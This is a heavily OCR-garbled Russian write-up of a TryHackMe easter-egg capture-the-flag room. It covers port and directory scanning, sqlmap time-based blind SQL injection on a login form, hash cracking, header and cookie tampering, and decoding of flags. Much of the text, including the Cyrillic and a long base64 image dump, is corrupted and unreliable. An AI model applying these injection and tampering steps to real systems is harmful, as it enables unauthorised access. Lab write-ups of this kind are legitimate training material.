/ Ucnonuutens

TecTupoBaHue BbiNonHeHo KpaBuoBbiM Hyukonaem, HauvHaowWmm cnewmanmcToM no
nHcpopmaumoHHon 6esonacHoctn B 00:00 (kpymasi kKomHama, Ha ebiHXU8aHuUe 8oobuje
8Ce20 4mMo 803MOXHO, MHE MMOHPasUsioCh)

ObnacTb TeCTUPOBaAHUA U UCMNOSIb30BaHHbIE CIYXOblI.

IP/pomeH Mopt CepBuc CepBuc ueneBoro cepBepa
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - DirBuster Directory Scanner -
localhost - Obsidian Notes -
localhost - hashcat hash cracker -
10.10.215.34 80 nginx Web Server +

Ucnonb3oBaHHbIe (hannbi:

sqlmap.py- Tyn3a gns éeictporo aHanuda SQL 6a3 aaHHbIX ¢ nomoLubto sql injection.

NMopsaaok aencTBumn

1) 3anyck openvpn ansa gocrtyna; kex ans Toro, 4Tobbl caenatb
linux ynobHee

kex ——win && sudo openvpn lab_Kolya080808.ovpn

2) CkaHupoBaHue NOPTOB C NOMOLLbLK hmap.

Pesynbrarhbi:

22/tcp open ssh OpenSSH 5.9pl1 Debian 5ubuntul.l1@ (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 1024 1b:c2:b6:2d:fb:32:cc:11:68:61:ab:31:5b:u45:5c:fu (DSA)

| 2048 8d:88:65:9d:31:ff:bU:62:¥9:28:F2:7d:42:07:89:58 (RSA)


https://sqlmap.org/

|_ 256 4O:2e:b0:ed:2a:5a:9d:83:6a:6e:59:31:db:09:Uc:cb (ECDSA)

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

| http-robots.txt: 1 disallowed entry

| _/VINCCELFSWdTQOJIKSUVZZ1dTQm5JR1VNYVNCQOLGUWdTUOJIFSUVrZ1p5QldJR2tnUWLCNKLFa2d
SalJuSUdjZ1RTQjVIRULNVHLCSK1FY2dkeUJuSUZjZ1V5QkJIISGINULINCRK1HOGdaeUJpSUVNZ1FpQ
nJJRWENUINCWKTHY2dUeUJUSUVJIZ2NDQKpJRVLNYX1Cbk1GY2dReUJDSUULZINTQKhJISGNNUFE1MOQ
MeQ=

| _http-server-header: Apache/2.2.22 (Ubuntu)

| _http-title: 360 No Scope!

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

3) 3anyck dirsearch gns nomcka oQUpPeKTopun.

» PesynbraTbl:

|_—(kolya080808®Nikolapc)—[~]
$ dirsearch -w directory-list-2.3-medium.txt -u http://10.10.131.134
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html

from pkg_resources import DistributionNotFound, VersionConflict

vo.4.3

T2 -l )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 |
Wordlist size: 220545

Output File: /home/kolya080808/reports/http_10.10.131.134/_24-12-04_21-18-
41.txt

Target: http://10.10.131.134/

[21:18:41] Starting:

[21:18:43] 301 - 245B /login -> http://10.10.131.134/1login/
[21:18:47] 200 -— 38KB - /button

[21:18:48] 200 - 61KB - /cat

[21:18:u48] 200 - 689B - /small

[21:18:49] 200 - 2u48KB - /static

[21:18:52] 200 - 3u41B - /robots

[21:19:03] 200 - uMB - /who

[21:19:16] 200 — 19KB - /iphone

[21:19:53] 301 - 2u4u4B - /gamel -> http://10.10.131.134/gamel/
[21:19:56] 200 25KB - /egg



[21:20:29] 200 - 1MB - /dinner

[21:21:03] 200 - 194KB - /ty

CTRL+C detected: Pausing threads, please wait...
[qluit / [clontinue: q

[slave / [qluit without saving: q

Canceled by the user

4) Bo-nepBbiX, U3 nmap, Mbl cpa3y Halunu NoAcKas3Ky.

Pesynbrar:

Download CyberChef Last build: A month ago - Version 10 is here! Read about the new features here Options ¢ About/ Support @

Operations Recipe ~ O mE  nput +oOs38 =

replace Find VSBpIEIgSCB IIEYgWSBNIGUgaSBCIFQESSBET EkgZyBINIGkgQiB6IEKgR1BNIGCgTSBSIEIgTYBIIECEdyBNIFCgUYBBIHOGSSBF IGBEZyB1 IEMgQiBrIEKERSE
REGEX ™ Replace ZIGcgTyBTIEIgcCBIIEYgayBnIFcgQyBCIESGSSBHIHCEPQ==]

Find / Replace

. Global match [ case insensitive Multiline matching

ROT8000
[ Dot matches all
Remove Diacritics

From Base64 @

SHAO
Alphabet
Streebog A-Za-20-0+/= - Remove non-alphabet chars
Substitute
[ strict mode
Favourites *
Data format Find / Replace NS - =1 Tr faw pytes o LF
Encryption / Encoding Find REGEX - Replace Output aoOm::
Public Key [peskel_secret_base

OHaKO cen4yac Ham 3TO He Hado.

5) Nanee A1 Hayan aHanu3npoBaTb CTPaHULbI, U U3 cpasy u3
robots.txt mbl Hawnwn dnar:

Pesynbrar:

Download CyberChef Last build; A month ago - Version 10 is here! Read about the new features here Options 8 About/ Support @)
Operations Recipe ~ OB input +058 =
<, ' 45 61 73 74 65 72 2@ 31 3a 20 54 48 4d 7b 34 75 37 30 62 3@ 37 5f 72 3@ 6¢c 6¢c 5f 3@ 75 37 7d|
Search. From Hex -
Favourites * Delimiter

Space
To Base64

From Base64

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode
Regular expression me 92 =1 Tr Raw eytes & LF
Entropy Output poOm::
Fork Easter 1: THM{4u7@b@7_re@ll_eu7}

Magic

Data format
Encryption / Encoding

Public Key

6) U cenyac Ham noHagoo6uTCcA Ta NnoacKa3sKa:



[encrteus:

<« C O & 1010131134

KaliLinux # KaliTools « KaliDocs X KaliForums e\ Kali NetHunter ploit- Google Hacking D

Not bad, not bad.... papa give you a clap

F12

Pesynbrar:

7) MNoTtom cmoTpum Ha cTpaHuuy /login:

Pesynbrar:

Request Response

/D7D
tml1/DTD,

? PEFE. . take thi:

8) AUCKNEWUMEP

& Tip



34ecb 04eHb MHOMO onaroB, NO3TOMY S HEe ByaAy 00bABNATL O HUX, NPOCTO NUcaTb
walkthrough ganbLue.

9) Tenepb camoe UHTepecHoe u anutenbHoe. Time Based Sql.

[encrteus:

ibility
rting @ 22:13:11 /2024-12-04,

ume no liability

d DBMS *mysql
tion to the target URL
he following injec point

blind

& b
s is MysoL

Ubuntu 13,04
2.2.22,

r 12.04 or 12.10 (Raring Ringtail or Pr in or Quantal Qu
PHP 5.3.10

. (done
1 value for option '--time 10 or more)
prevent poten
us data retr: *or switch '--hex
e number of

put/10.10.131.134"

ume no 1

mys
ection to the tal
point (

] testing
he following inJ

H
rget URL

) f

(POST)

)))ugsr) AND ‘nlmo bmit=submit
s MysQL
< Ubuntu 13.0 angolin or Quantal Quetzal)
A 2.2.22, PHP 5.3.10
.12
tching tables M_found
tching numb e
d
i

onses

080808/ . 10 Ut/10.10.131.134"
] ending @ 22:17:28 /2024-12-04/




~/sqlmap-1.5

1 -D THM_feund_m3 -T nothing_inside --columns

no liability and

without pri

rting @ 22:17:09 /2024-12-04,
barsing HT

resuning back-end DBM
nection to the

d blind (query s
*nlmo’="nlmo&pa

4
he 2.2.22, PHP

r table "nothing
on requires larger st. e oooo B
€t tion t disrupti

retrying

retryin,
Y

found_m3 thing_insid

ume no liability

H

testing conn n to the ta
g i t

e following point

blind

k-end DBNS is MySQL
Linux Ubuntu 13.04
2.2.22, PHP

ot stress the network co
s) for DBMS delay response:

ext files under °/home/ 080808/ ut/10.10,131,134"

1 ending @ 22:32:48 /2024-12-04/




columns

15ibility . no liability and

@ 22:20:41 /2624-12-04

the back-end DBMS is MySQL
Linux Ubuntu 13.04
2.2.22, PHP

WARNING] it is very imp o not
you want sqlmap to try to optimize value(s)

BMS ‘mysql’
n to the target URL
(s) from sto

ion point

AND (SELEC
k-end DBMS is MysQL
Linux Ubuntu 13.04
he 2.2.22, PHP
ng blind

i
1 [v 1 ery imp
nt sqlmap to try to optimi

tput/10. 14

Pesynbrar:
Mbl NONy4YMnu conar u MMsi NoNb3oBaTerns ¢ NaposieMm.

10) Jlomaem xawu:



Pesynbrar:

1 unigue dig 1 unigue
el ies, @xeeeeffff m:

o

1:1024 Loops:1 Thr:l Ve
/1 (186.06%) D (new)

11) Nonyyaem donar:

Pesynbrar:

Just an ordinary login form!

You don't need to register yourself

Username:
Password:

Login
Easter 5: THM{wh47 d1d 17 c057 70 crdck 7h3 5ql}

12) Tenepb Hac NpocAT nocmoTpeTb B Header:



Pesynbrar:

curl -s -D header.txt http://10.18.114.128 > /dev/null

cat header.tx
HTTP/1.1 288 0K

server: Apache/2

¥-Powered- PHP/ 5 8-1lubuntu3.26

Busted: Hey, you found me, take thisjiEEEad vl CRE gLy ik s
Set-Cookie: Invited=©

fary: Accept-Encoding

Transfer-Encoding: chunked

Content-Type: text/html

13) Tenepb KyKu. 9TO camoe MHTepecHoe, paborta ¢ burp:

Pesynbrar:
N3HavanbHO Kyku 6611 paBeH 0. Mbl MeHsiemM Ha 1:



Request
Pretty Raw Hex

GET / HTTRP/1.1
Host: 10.10.114.128
Cache-Control: max-ag
Accept -Language: en-| 2N ) o
Upgrade-Insecure- Requer s: 1
User-Agent: illa/s.0 (Wi \ 0.0; Wing4, x64) ApplewWebKit/sS 36 (KHTML, like Geckol
Chrome/13C F
Accept:
' chtml+xml,application/xml;g=0.9,ima avif,image/webp,image/apng, ¥/%;0=0 8, applicati

ﬁccer-'i_: Enc-:-rling g
kookie: Invited=1
Copnection:

DID you know: Banging your head against a wall for one hour burns 150 calories
=img src="wel.gif"/=

You are now officially invited. Enjoy the easter 7: THM{w3lcOm3!_4nd_w3lcOm3}

14) Tenepb HaM B noAcKa3Ke cKa3asnu Kakyr-1o ourHio. Ho mbli
3HaeMm, 4YTo 310 user-agent! CmoTpum:

[encrteus:

Pretty Raw Hex X ® Pretty
1 GET / HTTP/1.1
2 Hest: 10,10,114 2>
3| Cache-Cont rol: 0 DID you know: Banging your head against a wall for one hour burns 150 calories
Accept-Language 2 2>
5 Upgrade-Insecure- Peqllests 1 € “p>
b Applenebkit /557,36 (KHTHL, like Gecko) <ing sre="wel.gif"/>

=0.9, inage/avif, inage /webp, imagefapng, */4;q=0.8, appl icati You are now officially invited. Enjoy the easter 7: THM{wSLcOm3!_4nd wSlcOn3}

Psst....psst.. hey dude.......do you have extra cash
Please buy me one fphond 11....I'm poor, link down below,

You need Safari 13 on 105 13.1.2 to view this message. If you are rich enough
</h4>
<a href="https

<ing sres Ephond ipg"/

MeHsiem BblaeneHHoe Ha TO YTO B NoAcKasKe:




Pesynbrar:

Request Response

like

15) Tenepb HaM roBopsAIT 0 peaupekxte. A nocmoTpen Bce
BO3MOXHble CTPaHULbl, 1 Hallen TaKyHo:

Pesynbrar:

T / HTTP/1,1

(KHTML, like

16) Ha cnepyrouen e ctpaHuue nocrie peagmpeKkTa Mbl nosiyyaem
c¢nar ana Easter 13:

Pesynbrar:

17) Tenepb A Hawen cTtpaHuyy /free_sub. N3 noackaskn Mbl y3Haem,
YyTO Hago ucnonb3oBaTb Referer: tryhackme.com:



Pesynbrar:

Response

Pretty

1| HTTP/1.1
D

But i got an

18) Tenepb Ham roopsaT temper the html. CmoTpum:

Pesynbrar:

-5 le.1@
E html>

r burns 15

<option value="salad"»salad</option>
<option value="chicken sandwich">chicken sandwich</option>
tyre">tyre</option>




.10.114.128

+ . mmmmmmmmm

<option value="salad"»salad</option>
<option chicken sandwich™>chicken sandwich</option>
<option value="tyre">tyre</option>
<option value="DesKel">DesKel</option»

</select>

<br><br><br>
<button name="submit" value="submit">Take itl</button>

</form>

You found the secret menu, take th shes to watch the

<a_href="/ready"><p styl
-]

19) Tenepb Ham roBopsAT fake js file. CMoTpumMm gaBackpunt drannbl
caunTa:

Pesynbrar:

3anyckaem yHKUMIO:

Function ahen()

strl = *456173746572203132206973205448447b6831646433 37d
var hex = strl.tostring();
var str H
- n < hex.length; n += 2
froncharCode(parseInt(hex.substr(n, 2), 16)); Output:
}

console. log(ahen());

20) Tenepb Ham roBopAaT embed image code. Hy Mmbl npocTo ero
nony4daem u B CyberChef gekoanpyem:



Pesynbrar:

Form>

ch the world bur

ime, will produce to tuo_swimming
mage/png; basesd, JVBORWHKGguAAAANSUhEugmyAAAAMgCAVAAADb(AZuAAAgAElEQVRAnOszwagFH/(AHQHA/EaGiij(]IZzhEgEEQU}(EAxFESu[LRdRaN/mKPWuFtVEFqugnd\IquuBaJtsFNLmrB!BHEgdHIgIFd97u7M6/FHZCabCSLdZEAm!mHVMu
leZzoxks!nNS/NSFHAI«ERERERFRg]wQWNgIJI)IqLuwQBrRWrRrhw B REREREQBLIB REREREQBIB REREREQBIB REREREQBW
REREREQBB REREREQBILB RERERE]
Q REREREQBLIB REREREQBIB REREREQBIB REREREQBIB REREREQBUWBCNE SKLENXuFrad?,
1FV7qar‘Tl§EM§LQ!15qu\/ wSVF/6Fyo/+gj1b7yB8 ] FFX0GXX8ahZ59F6bPPATAZ Z/Q) 11/5)srfFhsVH32E658/R+2+fag3moGSmYm24nT4GxsBRel 7krLc/38nT4 T4 CITGEKL JURQLCH26BUF jupg H35MB268ERXXA7 EUT, JGRMMOTU1RORFB2NX0h02KO1 YNHDYNHD]
Y]akPuF7vydFRyMp]gZ]MTFIJAthqRJODElCthTVNt7lykrvHMOElB7LfLuuQannquxv!uuxAAhhaquevtM]RZVDFNGIJI)Its(AQnQMnxD(Tuht7XE\N0Puh9/RPETTZD/thIPvNM\-lKZOthukSuISEIEZI«QE]kGAQRRhiOthSDgS]I«anQﬂkuQEuTqudEoBqDIqESRFQVjV:ITEZEGI«NRCQKAHIEWSkCﬂ]Ms
thzSuHJPPPXSHF/AZlr75Klv!74NpuhtszRE(RERE VEEthFV‘tZNd]SVuTkr‘CHFFEQ(HF/MbIIng(uvaEUJQOVEEVENPKHJGCHFAQmng//Eegh(giH&HpKEEOJ7quEFugzMSFEwDZz:llKNLuPE/stsquvaFZQAEdtLRSrvMBJXmIlIJNIUAwJthXaJrbSF JOXRUTBGT
5] q3v+HAr34F +6mNuGCFCaPHeUs41| qCubioe k] iCiTiL/Yuc 3xYphj
1[kaychQizk!xkhaNSEpier\Rde\lRGESIJIjIr‘thaDRTFE[bZlS!t;HEVkH]Qu!IXLECKdomqesr’\eJSMHAMENSSNIngMmdeV]ESEnynIchOR//xD7QXF!dFDySg]yIleghAKHRzaDj!GJ:lIueOOSAVHﬂ/EyEJVtMpSnySseElND]IEQiQLlTIKADFFEEplnAtDF/naOuA(EaOVSuVSEJIJIFMQAQqOTnkEX
ﬂuﬁurthZS/h4AH!wD57NhIFAuz]UsvlsHSHBDSIBPvnFusMsjﬂsggE7VERSZZth/76V7Tm5k]uasFnEBEREFMEAVRGHHNEHGYG9T/ULw774R911wkShLb\lvrncuTnFah]CJEGSY]AkmAuﬁlgkTkH7BES]dtQ5t¢/dDhmsLErtMREREIXQDEIHquOBBqNRcx/4ASIxLV]ZrichHlS!wxmwsmh/LRaSZIMRhEgSVﬂ
6ORVT1SNfURFt+Fs/daymIi tid+SFyoL CrIMnT/tXve tPRERETWEDCI1C210EVIMTK vbsQC K1 TDFXBX p Junnmguwzzungsgasusu L IDQyUVyAOGAINXC5TOX 601hnzk}
T562+0mxkCnIpFREREA2TAORFFBR] 14 HEbCh7ZYPT! uzk nnﬂ.»\vnwcmkaaotoumsm.zcm\gu\usukc:vasmslgs7]zsb/yumshg:o7:7r RIKQUXAEKI9IOHZ2U FK 1GN67F51r18T0CBrTI6D21kFYHdXwW7JBnC FKVGEWRR]
hkSRVtGlezqutdZJAknﬂdSbPIEQCJ19pmSZREHJSZEjVNSZNKdeIiaEREREQEMIDRCdJa\lqu:I:ISGS(CHM7rBSAliNgznguMnggIarlaQVEVFGGbPhZJCngEQJLkX!WSJAo\NU}nknshggFEefFr‘rPUFE!V0HusSoJSNS7uxDbb(j7!em/7LLkHboibCFe)uMsjistlck/bgjrvuPlEthOAmSQJingpji/
PQo++YQ7qBHREVEXBhAKea15eT147QusUSbAFOjged/ ohtbpddcAg3YOpthYpFSWAXIL 130UNZ9+1vOFFCH 1 3) R2gPHATUGj XSFXSE: ]hrMZtRHyEqian 10KUMRKUNITIShsJIr1DieasBuvaiqod4LuhInT8h3ftgroul ti3EnEREYUABRAKa)
czzmuhdvhyN/]YSHNAOda/OtHsjQ4sngveRRGmuDgkn!uNChSAI«DXFFqusqumyO!tﬁtuHLEVSHquKIqueHC!Nk]uaastZGtB(VﬂeJ770LA Jwr—(RMIu)erﬂcpgj oK TR RKEiZRGbDPN
1XqQ+1 5XONZ JOKHNBUGAtXwX T JyRt2pZBFGFWT18L 8PVer1658Nvfoq0@1HUF EBERRTEGEACi gToChy 1t S ug1a Tur cxsmumrySUsgvvcesuvtoxlafsqnzmtRx;chazbEmmmns.u;epal QQcQi h6Kgs7 ISXTt 2uBYFD2N
/U4eGeZqVRZ 1gJY1FSpI1yLz ghx+-+HUGMMLWNIRed5a10B TSLOL FinaunUePovrz 21HO2GPIXrCOKXPmK L TQUGrox4qu31dDZ TE sygi88TLUNBWGTVTQ/ 1 /SIEzIp/etchNuxA:lNulVNjwcglgw\uusel}m}!oquIJKCEXNkZZIIISO/Jthxl(NVar‘uRktdeAotHyNoyEamnnwﬁL]NH
ezoWQHFlFEotlnmV‘THFsauKmhURERGGEAVREgV‘OoHux!!QFU[ndel!AuyDczu:lpgyDAr‘chdeyHWb!g[ulARHdbxﬁZN7dKRE]uaM/?hAlySDbZQHoDEq//tFFG7bhq55c2E+1h4:|wxE[z:lKEQK\ILU-FbGG!AxhEAREVUNEhAK[TkBuxr‘TMzur‘unuiaEZaNNs7HDnuuyllg[wlwesr317xGOBBAIIZEnOkaBZ
szu/tuzczN557j03whxcaa»\otasa43naﬁ/ns4muvouniMIAAwgFacshhAziuDuansszthBeHwkcsmmsahchuiysusmawmchﬁamrsxvsﬁjvzhcpxaFssfoﬁov//wnsmohhmIqaﬁjgsggszﬁxﬂczz5Dvafzfas3naaxj1mz/IpoHDDDWgwm7k79wAprP1h7zFloxLWvavsBm\sarF4h:snew
Ts3du950aTi ThGIQYQCOr0igoUPvEErL Gx/pa25 TANRIErY T2NRebat TI69tvckXsWFAVE hYUoevRRICOEDINE3/ /6ED+GRLHOTNPSCETE: q dY/gYZQkGAQBK 15207RASamtR+CkNOLBXT6ZRETBPVCOGKARYRBGZZ5 ++ho+CHBT1 Vi TaJ gugFDgKApcLsel
uFostZOFOQXojKA/XMLIkSrNHRyL]kEtRo/TN(EFuMHQSQFCgOEQqKJl(ythsstEKknqjurDMGplEE GIi ThGIQYQCai SOK1C742307KBHY Ty VXlivE Alla jsbG1D7 XITP /SBWTd]h3rPNSGSPObNACtOTOUHRERS JDAETB46y pEW3UXIh67 Dy KECYTATc
RMAzHuy TTSDHEGPXTv/ dedFZVCFSKi ThoFGEAGYBUNTURbAUGHLXOH/ wdPgxa: Tiy9ChneNj /171 T4 TwgADCAG7Z2618u+7DxbtybY/06ruzqotNh2Z69e0SH] 2HONGE7GRpSI8QZS Fi3qP4RA-+/ 56|
kqx]KvauzﬁFFugyDILlhkaJIqIR]WGEhm)QGStxZGxXaZiZ]I/TdF)(DB+[AFt(HPZIuvxatZdannHdevaUPnRRHJ/AAKVPEbE&TNEJ[IyL?kEerSwNAuERER&QED[AHFB&MZSAME[ED:LFEAUWZKszHBFsusIpV&GJKGhMTETNZruwsmLinIstFBZﬁECWaZmGluJIJHzEAELDQHGSH]thAO//]VM/JrZﬁh
k+dDrYJ81C8e0P070ykusDgk1bb30CkYGsX/4ShtahxE/vd3JsLEp37HIVLCTiOhGOAYTS p 2zhAL+FyJu bKIHYjxpa JXE4GKF7vuzEGCi125qDuxx+D3VI1T1 LyAQUT+ZeiQIF INBINSFEWAGDP/ TS8nYqVACYX8Y 1/4EH+CQEXCIaSEJLuYPTHr8eIr3e7ouxEQ
RGequVPuiIiIaERiﬂCG/Eyva/bGjTD7V78szFgaghbeyKHnlELQFLurshqykxEQFxrlquES)(pRtEEbZ]kJDyt?/EdeS7GVSERGRFthyKSuthF27FDLEka]]vawFEinFPEkF\HFC\NFHSDE(jEuNZH/thNagdaj!oF(tZZanESEWEVmIiGjkYAAthanpEobx7b\013PquPT7EtEdHIvFlmtOxquv
GT5CN6KEOryVkDI/Pkyc+D1 EMNQA5Y/@tOSVLUUSGERHRCHMAQN7 ] rK1F1 XXqPEB+HNGVeZ11 6ESKAVTPKY SRYHS CKBM717YZ5+GSXC I8SHUCEK sUGei /0231VEQ3hdEREQBEMI +U3Z668jacqUnus+/ LARKeIpp6Hq6/4pHskknX17e@4vHinz L GxMPOrmIoi L IKAZIsvhrOhgSNiRERETWGDCP1FH34+U1as8NSTT]
Q6yqxMnouL994PAPPKFLKO20g)5H7 FC2HE dCOrgaQRIKHAOD/ +FY0SCZ@TERHRCHEAQ]S THAGU7toFy6R] / turQ6eDXadD/ r7tfLo9Gi gKmvFyR+al16q3 IPAOT1CKS ToilpYsQUE2dtf3TSTi 0t DGAET+a@pORVrq1F 55003 tOWEQBOy / ShodqqqC3 T2yBeWBANKh+vPPKXz a2ep6ED/ cLwadDnZBONTHrHpZXgYQI ]
KikMcAQISTF EXd8X27dpgmTPDb3H62ICHLZDPR1 J0a7CaSHymyDF djL40efRQHzZ/ vFh3VG1IoWSRISTJOVT X275 tIREREGBAAQLS TZBt Bwdg?eyzYFRXeVVIQNIEPHpF£1200882gNORLKZIG +4A1 ZfNy J@GDGZ6 X137 YN sbGYDePi 1T ] olBhL 2 jCkHu7ETXER/ ApNFDAKAFXQZRRO4ddED JyBGAVaSGrebIT Ig]
mTVTtvvGadaxRUCg64wzU/ /h3s g7u: N 76euxFeCvVdTU7C DECH]FpW1RIAVH2CLUMWTZ qEKr/ 88a7mZK69CE0UXkbs37ABZ1 HOLYRATN/ LXLAC TZbsTLGREREXSAAQKONKHDUT1197VrYRF713NY]
P14JA0yCELRVGICSNQ3FSYLCADLEY T 13k2Fod37: TygChT AGJoulaxgEngDAMnkyyt98kyMF4uQL5ngtSI(HezxAGIQEGReckn!vJEEREQU(hhAaEgUrdOA/7r‘rkKjtmDriEijCDznvquk]deukEQFJtO]uuo0Q/rySTDSIcmeALM(XEAov77!EdeIguR
DGABIDV7 tuHtGnTYNDr/dNhF ATU/#BDs 1t FuSDLCNbVoFixx2CPi /PLUhCDIODADT fA2dDAETUi TqTQXABCQ iV2F DbzJ10lyA0duuTiTicHimgNCREeX1IPec cvdyOMkgS7BHmoNF JgUBCTGRA Guly Iop}
D[AEKDpsgyK]/ECGlzslaPFngPsynLw77ZTFun[nKIAsu27FPqS(F]qNZuJVthkQRRhFgSkrFgBZ!lBVoEEIJIJCgaNIDRustGFN5117r‘3hmldw3apuPZNbNQvZSFOAgEKAp(]Y!Iueulm[Ijvd/VugngkGAEE]EVP!V‘XQr‘erA]IJIKGngNGj|Nﬁenlwr‘myss&GuWP]wEJRZKQEcONﬁ[wD!azKBRuJSVr//t
FmGI1YBIE/0JLNCXIgkeQCHDL FUX1GUCT1 ThCBEMIDY o1y jBKe h/7TX 20rUiy6C2dsA2hS1kyRYBQFIZ5YBOpI SKIrC 25271 ThCBANIDYqruRK LT 2ZRHT S8GHX L0t X cNGNGAMINXQHXUFFACDTgeD XXH3AVSq277 TK22X VEQLIK i KNAAQOPSp+PASACAGO3C /M)
Ouamq(jk!!(FOquqODMGolIuNGFNuhs]ozIKut(jNTISRX/EkmeHa]JIhCI«gMIDurdgg/DNntZginUme!QEZCng]qvvoauGEpQE(MPdchLB(aGXQENCM]kxnjjeguLNUI«ISIJChEMIHR(JSOEslngX riJCIT1IXLEDdvN3qNCYGECT10gB JAKF UxQaGXpwEKaby]
O8MejyRTp44EQUPPEhXCZM; TCj2MeiTiT: sqkL NnouLDDzknnas JbmtDyZNPuux] 6Q0DT gdbTAxXy 7 j1562ahVagu/ndBged kiWUF 3FF780n+79CERKZF 25/ 2XXqqu4+@PyTiogBjAKGBaC)
thN//Dqu7QNSFINkISkysnt]OIVPOLﬂmr‘[xkr‘\lﬁt]uLM\PZImﬁeuRcQZZaLTbubhc!h!uET\tetﬂRERD!]AKEIFKZ]pTJdg[w]ZstnﬁdFZIQg[zKKIstdeASM-\N[JOZlqU!Hkanda/eeUadDyJmnuPyddQExSMjQj7IyOKqMayvh70hAx:Ibm/qzqu[RETkFQVQﬁu]qbER7cTGakpNRogl!qPrSMiTsZQPbKaFﬂELG
szeaquMngRlchmguwcbs;oAaNﬁoqes/DfoksaaszyvhquepsmruusevmFoyy4zazFme717nFIamvmumnzz:Hnlumve/uwggzhksuwwwwmwcsmERGNcAngUq\-mwpskEtwqq/mKHxawRcFFF]czrrafﬁth;answcaNgxuztwpsyemuaxgkrkHPbm]azDou/omNNrtchvsz
7202179/3vT QFtFFyL7xRQBBACOVPIKar75Bm2 FhZA70nhVEXEROYMBZDTrNUVECTr hgKXE3bSO0PTUUZW3XVIO/ dcIMEbBINHDAY 1 GK721 TyEQQSNt7hudcpAnagSmiomC //4ear Nicn
OkwgDr(PySGUVQSNhZ]CngEGKLsH/T:Ihxi/nkENCzuerupzzscfu\dERGFMQEQUUJRSREb/DnrﬁthtsLQHESj9bzzkH7quEquuMngtSEEMMQwFQEhuLtFNOstySSJA717UFv(dosrKujtuXDMthQWaNlOLEpEAmIMHydwﬂZVE]RyngpExEZszyFy7FqN7quxKQlySEuPN]KIEEFRuGEAGu!cCSehhpDZkh

KU/ 4601 +9FGnROU1H FR3hObre+54 W1p3e2TZQaRe KTocNbX0/ ChhaCANAEGNS7196myO 7YkuaDTwS1KSTyMhDKY EENXXYej776L 050HUS0ITEUI TaTumgAySi JRanshs/ 6Tq01 TgwDp7Nooeene]
Download CyberChef ¥ Last build: A month ago - Version 10 is here! Read about the new features here Options 8 About / Support @
Operations Recipe ~om Input + 028

IYQQAAAAABYQ
search.. From Base64 - N
* ANQYS TA188 hi 4
Favourites h H
A-Za-20-9+/= - Remove non-alphabet chars AAAGANAQQAACANQOY T
AQQAAC TATBBAAAAAALRY
[¢ / ANOQ
[ strict \ ARRAANVO 188/ Lhi
rictmode TALBBAAAAAAL \QQAAACANGQO!
To Hex T
Render Image VAGBEAASAT ARACAND
e (i o i JEEAAAAADI A
o et BBAAAAAAL ANGOY 188
To Hexdump an QAAACANC TA1L
AARAAFHD QoamAC
From Hexdump QARAC IA
IQQQAAAAANYQQAAAABYQ
EEAAAAED! N /714 RIC
vird
Regular expression 52 = Tr faw ytes ¢ ¢
Entropy Output 7 pDma::

B vivi v

o1 010

01 e
Data format

Encryption / Encoding

o THM{d1r3c7_3mb3d}

Networking

Language

21) Tak, notom 4TO-TO HenoHATHoe: "Try guest the alphabet and the
hash code". 3axoaum Ha /game1 n nbiTaemca nogoo6paThb:

Pesynerar:
Guess the combination

Your answer:
[FGHUKLMNOPGRSTUVWXYZ |

Your hash: 99 100 101 102 103 104 51 52 53 54 55 56 57 58 126 127 128 129 130 131 136 137 138 139 140 141
hints: 51 89 77 93 126 1493 10



Guess the combination

Your answer:
| abcdefghijklmnopqrstumxyzi |

Your hash: 89 90 91 9293949541 4243757677 787980811011121314151617 18
hints: 51 89 77 93 126 14 93 10

Guess the combination

Your answer:
| GameOver |

Good job on completing the puzzle, Easter 15: THM{ju57 4 64m3}
Your hash: 51 89 77 93 126 14 93 10
hints: 51 89 77 93 126 14 93 10

22) NMoTtom NornyHbIM pelieHnem byaet npoBepuTb, €CTb N /game2:

Pesynbrar:

Pre Hi




Haxxnumaem KHonku OJHOBPEMEHHO:

curl -d "buttonl=buttonl&button2=button2&button3=button3” -X POST http://16.18.114.
<html>

n simultaneou

name="buttonl” wva
" value="submit">Bu

name="button2"
" value="submit">Bu

"hidden™ name="button3
="submit"” value="submi

e code and you are good to go. Easter 16: THM{73mp3r_7h3_h7ml}

200

</html> )

23) B atom cny4yae Hago NpocTo Tyno AeKoaupoBaThb:

Pesynbrar:
Binary to Decimal converter
From To
Binary v Decimal v

Enter binary number

100010101100001011100110111010001100

01190105981

Decimal from signed 2's complement

M /A



Decimal to Hexadecimal converter

From To

Decimal v Hexadecimal A

Enter decimal number

31381767556396068451396213107418146 10

Hex number (64 digits)

4561737465722031373A2054484D7B6A35
5F6A355F6B33705F6433633064337D 16

P

Hex signed 2's complement

N/A
16

g
Download CyberChef & Last build: A month ago - Version 10 is herel Read about the new features here Options {

Operations Recipe ~ BB F  nput

56173746572203137;

search... From Hex ~AOQm

Entropy Output

[easter 17: THM{j5_j5_k3p_d3ced3}

Encryption / Encoding

24) Tak, a cemyac Haao pasobpartbcs YTo 3Ha4UUMT "Request header.
Format is egg:Yes":



11010111101101101610061161010161111101101016
101111101

kh2>Sometime, you just need to say 'YES' to the
‘s it, you just need to say YESSSSSSSSSS. Easter 18
11 swans i

25) Cenyac Hago nepenTun Ha cTpaHuuy /small:

Pesynbrar:

<« C @ O & 1010.114.128/small

KaliLinux # KaliTools @ KaliDocs ¥ KaliForums & Kali NetHunter Exploit-DB Google Hacking DB

Easter 19 THW

26) Hy n nocnegHee, Ham NoAcKa3bIBalOT HaNnocneagok, YTo Hago
caenaTb:

I leave the credential for username :DesKel Please, I be ou. Don't let him know.</h3>]




ground-im

110001001101110011186. 1010100010010 pel11e1e1111ellelleleleeellele1010]

£ you like

/ MpumeyaHue
JTa KOMHaTa npuKorbHas, Ans passrnevyeHns nNpsam Kandg, nckatb nacxanku.

B obwem, coBeTyto ee npontu HoBU4Kkam! Ha camom gene BblHIOXMBATb BCHO
BO3MOXHYI0 MHCPOPMAaUUIO Ha canTe - TOXe UCCKYCTBO!

HanpgeHHble ya3BnMocTu

SQL Injection

PoC:



) AND *nlmo’ n ubmit=submit

if we are going blind

Specif
Quit

CVSSv3 Score: 7.9 (Critical)

OnucaHme:

B naHHoM cny4yae sql injection cBsizaHa co Bxogom. Ha ctpanuue /login MOXHO Nosny4mTb
